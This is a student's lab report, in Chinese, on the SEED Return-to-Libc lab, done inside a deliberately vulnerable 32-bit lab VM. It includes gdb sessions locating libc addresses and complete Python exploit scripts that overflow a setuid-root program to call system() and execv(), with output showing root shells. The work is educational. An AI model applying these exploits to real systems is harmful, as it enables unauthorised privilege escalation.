网络空间安全实验基础实验三实验报告

基本信息：

完成人姓名：黄浩　　学号：57119134　　完成日期：2021 年 7 月 13 日

实验内容：

环境配置：

关闭 ASLR 并将 sh 软链接到 zsh：

```
[07/13/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[07/13/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

TASK 1: 找出 libc 函数的地址

使用 makefile 编译具有漏洞的程序：

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ ls -l
total 28
-rwxrwxr-x 1 seed seed   554 Dec  5  2020 exploit.py
-rw-rw-r-- 1 seed seed   216 Dec 27  2020 Makefile
-rwsr-xr-x 1 root seed 15788 Jul 13 03:04 retlib
-rw-rw-r-- 1 seed seed   994 Dec 28  2020 retlib.c
[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:~/.../Labsetup$ ls
badfile  exploit.py  Makefile  retlib  retlib.c
```

通过 gdb 调试获得 system 和 exit 函数地址：

```
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from retlib...
gdb-peda$ breank main
Undefined command: "breank".  Try "help".
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc
 Attack Lab (32-bit)/Labsetup/retlib
ffffd3b5
Address of input[] inside main():  0xffffccac
Input size: 0
Address of buffer[] inside bof():  0xffffcc70
Frame Pointer value inside bof():  0xffffcc88

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
```

```
EAX: 0x56557014 ("uffer[] inside bof():  0x%.8x\n")
EBX: 0x56558f00 --> 0x4
ECX: 0xffffccc0 --> 0x0
EDX: 0xffffcc84 --> 0x56558f00 --> 0x4
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffd0a8 --> 0x0
ESP: 0xffffcc8c --> 0x565563eb (<main+220>:     add    esp,0x10)
EIP: 0xa ('\n')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow
)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xa
[------------------------------------stack-------------------------------------]
0000| 0xffffcc8c --> 0x565563eb (<main+220>:    add    esp,0x10)
0004| 0xffffcc90 --> 0x56557014 ("uffer[] inside bof():  0x%.8x\n")
0008| 0xffffcc94 --> 0x0
0012| 0xffffcc98 --> 0x3e8
0016| 0xffffcc9c --> 0x5655a5b0 --> 0xfbad2498
0020| 0xffffcca0 --> 0xf7dd490c --> 0x0
0024| 0xffffcca4 --> 0xf7fd17a2 ("_dl_catch_error")
0028| 0xffffcca8 --> 0xf7dd568c --> 0x355b ('[5')
[--------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000a in ?? ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

上述最后几排便是我们需要的地址。

TASK 2：将 shell 字符串放入内存中(环境变量的方法)

新增环境变量：

```
[07/13/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
[07/13/21]seed@VM:~/.../Labsetup$
```

利用下述程序获得上述环境变量的地址：

```
#include <stdio.h>
#include <stdlib.h>
void main()
{
        char* shell = getenv("MYSHELL");
        if (shell)
                printf("%x\n", (unsigned int) shell);
}
~
~
```

由于程序名称长度会影响环境变量的地址，所以我们将程序命名为和 retlib 一样长的 prtenv，并在 retlib 程序中插入同样的代码测试：

```
int main(int argc, char **argv)
{
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int) shell);
    char input[1000];
    FILE *badfile;
```

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -g -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ retlib
ffffd3dd
Address of input[] inside main():  0xffffcd6c
Input size: 0
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
Segmentation fault
[07/13/21]seed@VM:~/.../Labsetup$ prtenv
ffffd3dd
[07/13/21]seed@VM:~/.../Labsetup$
```

可见我们输入的环境变量 MYSHELL 在两个程序中的地址是相同的。

TASK 3:发起攻击

使用 gdb 找到相关寄存器的值和变量地址：

注意需要先在 Makefile 文件中给 gcc 编译信息加上-g 以方便我们使用 gdb(也可以直接使用漏洞程序为我们打印出的 buffer 地址，这里只是模拟漏洞程序没有打印出 buffer 地址的一种更加接近真实环境的情况)：

```
TARGET = retlib

all: ${TARGET}

N = 12
retlib: retlib.c
        gcc -m32 -DBUF_SIZE=${N} -fno-stack-protector -z noexecstack -g -o $@ $@
.c
        sudo chown root $@ && sudo chmod 4755 $@

clean:
        rm -f *.o *.out ${TARGET} badfile
~
~
```

```
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from retlib...
gdb-peda$ break bof
Breakpoint 1 at 0x126d: file retlib.c, line 10.
gdb-peda$ run
```

注意由于系统是 ubuntu 20.04 所以我们需要使用几个 next 后才能得到真正的 bof 的 ebp 寄存器。使用数个 next 命令后，再得到下列信息：

```
gdb-peda$ p &buffer
$1 = (char (*)[12]) 0xffffcc70
gdb-peda$ p $ebp
$2 = (void *) 0xffffcc88
gdb-peda$
```

由于 gdb 在调试过程中在原程序中添加了一些信息，所以数据的地址绝对值发生了变化，但是 esp 与 ebp 之间的相对地址差值不会变化。

然后我们计算需要填入攻击文件的值，并填入到已有的 python 文件中：

ebp - esp = 24，所以返回地址从 content 28 下标开始，而由于我们的程序进入了新的函数会重新进行函数序言，所以 content 32 下标存储的是新的函数的返回地址，content 36 下标存储的是参数：

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd3dd       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

然后编译攻击：

```
[07/13/21]seed@VM:~/.../Labsetup$ exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ls -l
total 60
-rw-rw-r-- 1 seed seed   300 Jul 13 04:45 badfile
-rwxrwxr-x 1 seed seed   557 Jul 13 04:45 exploit.py
-rw-rw-r-- 1 seed seed   219 Jul 13 04:28 Makefile
-rw-rw-r-- 1 seed seed    12 Jul 13 04:39 peda-session-retlib.txt
-rwxrwxr-x 1 seed seed 15588 Jul 13 03:40 prtenv
-rw-rw-r-- 1 seed seed   141 Jul 13 03:40 prtenv.c
-rwsr-xr-x 1 root seed 18676 Jul 13 04:32 retlib
-rw-rw-r-- 1 seed seed  1079 Jul 13 04:32 retlib.c
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3dd
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
#
```

上面的 shell 用户符表示我们攻击成功，已经获得了 root 权限的 shell！！！

Attack variation 1：

去掉 exit 函数地址后运行攻击程序：

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd3dd       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

#Z = 32
#exit_addr = 0xf7e04f80     # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

```
[07/13/21]seed@VM:~/.../Labsetup$ exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3dd
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
#
```

上面的 shell 用户符表示我们攻击成功，已经获得了 root 权限的 shell！！！

即去掉 exit 函数地址后，我们的攻击仍然有效！只是在后续退出时程序会崩溃报错。

Attack variation 2：

修改漏洞程序的名字使其与之前不相同时：

```
[07/13/21]seed@VM:~/.../Labsetup$ mv retlib newretlib
[07/13/21]seed@VM:~/.../Labsetup$ ls
badfile  exploit.py  Makefile  newretlib  prtenv  prtenv.c  retlib.c
[07/13/21]seed@VM:~/.../Labsetup$ ./newretlib
ffffd3d7
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
zsh:1: command not found: h
Segmentation fault
[07/13/21]seed@VM:~/.../Labsetup$
```

攻击失败，我们可以看到其打印出的关于/bin/sh 的我们之前设置的 MYSHELL 的地址已经发生了变化，所以我们填入的攻击程序的地址现在是错误的了。

TASK 4: 击败 Shell 的对策

将/bin/sh 链接回/bin/dash：

```
[07/13/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh
[07/13/21]seed@VM:~/.../Labsetup$
```

找到 execv 函数的地址：

```
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$
```

获取 main 函数内的输入的数据地址：

```
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
```

在攻击代码内通过环境变量的方式构造参数”/bin/bash”以及 char*数组”/bin/bash”、”-p”：

```
[07/13/21]seed@VM:~/.../Labsetup$ export para1=/bin/bash
[07/13/21]seed@VM:~/.../Labsetup$ export para2=-p
```

Open ▾ prtenv.c ~/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab (32-bit)/Labsetup

```c
#include <stdio.h>
#include <stdlib.h>
void main()
{
        char* shell1 = getenv("para1");
        if (shell1)
                printf("%x\n", (unsigned int) shell1);
        char* shell2 = getenv("para2");
        if (shell2)
                printf("%x\n", (unsigned int) shell2);
}
```

```
[07/13/21]seed@VM:~/.../Labsetup$ prtenv
ffffdfca
ffffdfe1
```

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

con_addr = 0xffffcde0

content[100:104] = (0xffffdfca).to_bytes(4,byteorder='little')
content[104:108] = (0xffffdfe1).to_bytes(4,byteorder='little')
content[108:112] = (0x00000000).to_bytes(4,byteorder='little')

X = 40
para = con_addr + 100       # The address of "/bin/bash -p"
content[X:X+4] = (para).to_bytes(4,byteorder='little')

Y = 28
execv_addr = 0xf7e994b0   # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 36
path = 0xffffdfca     # The address of "/bin/bash"
content[Z:Z+4] = (path).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

注意函数中在前面的参数位于栈中地址更小的位置(更加靠近栈顶)，即函数参数从最后一个开始一个个向前压入栈。

然后编译攻击：

```
[07/13/21]seed@VM:~/.../Labsetup$ exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcde0
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
bash-5.0# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),2
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
bash-5.0#
```

euid 是 0(root)，故攻击成功！

实验总结：

本次实验是我们的第三次实验，经过本次实验，我总结了如下的知识点:

①通过 gdb 调试，我们可以获得内存中的 libc 库中的函数地址，这样我们可以结合缓冲区溢出攻击，将目标 setuid 程序引导到我们希望的一个 libc 库函数中(并以 root 权限运行)，这样可以对抗栈中不能运行指令的保护手段。

②通过对栈运行状态的研究，我们可以知道 ebp 寄存器指向的地址存储上一个栈帧的地址，而 ebp + 4(32 位机器)地址存储此函数的返回地址，接着在 ebp + 8(32 位机器)地址向上便是按照顺序存储的参数 1、参数 2.....参数 n。这样我们同样可以利用缓冲区溢出攻击，给我们希望跳转的 libc 函数传入我们希望的参数。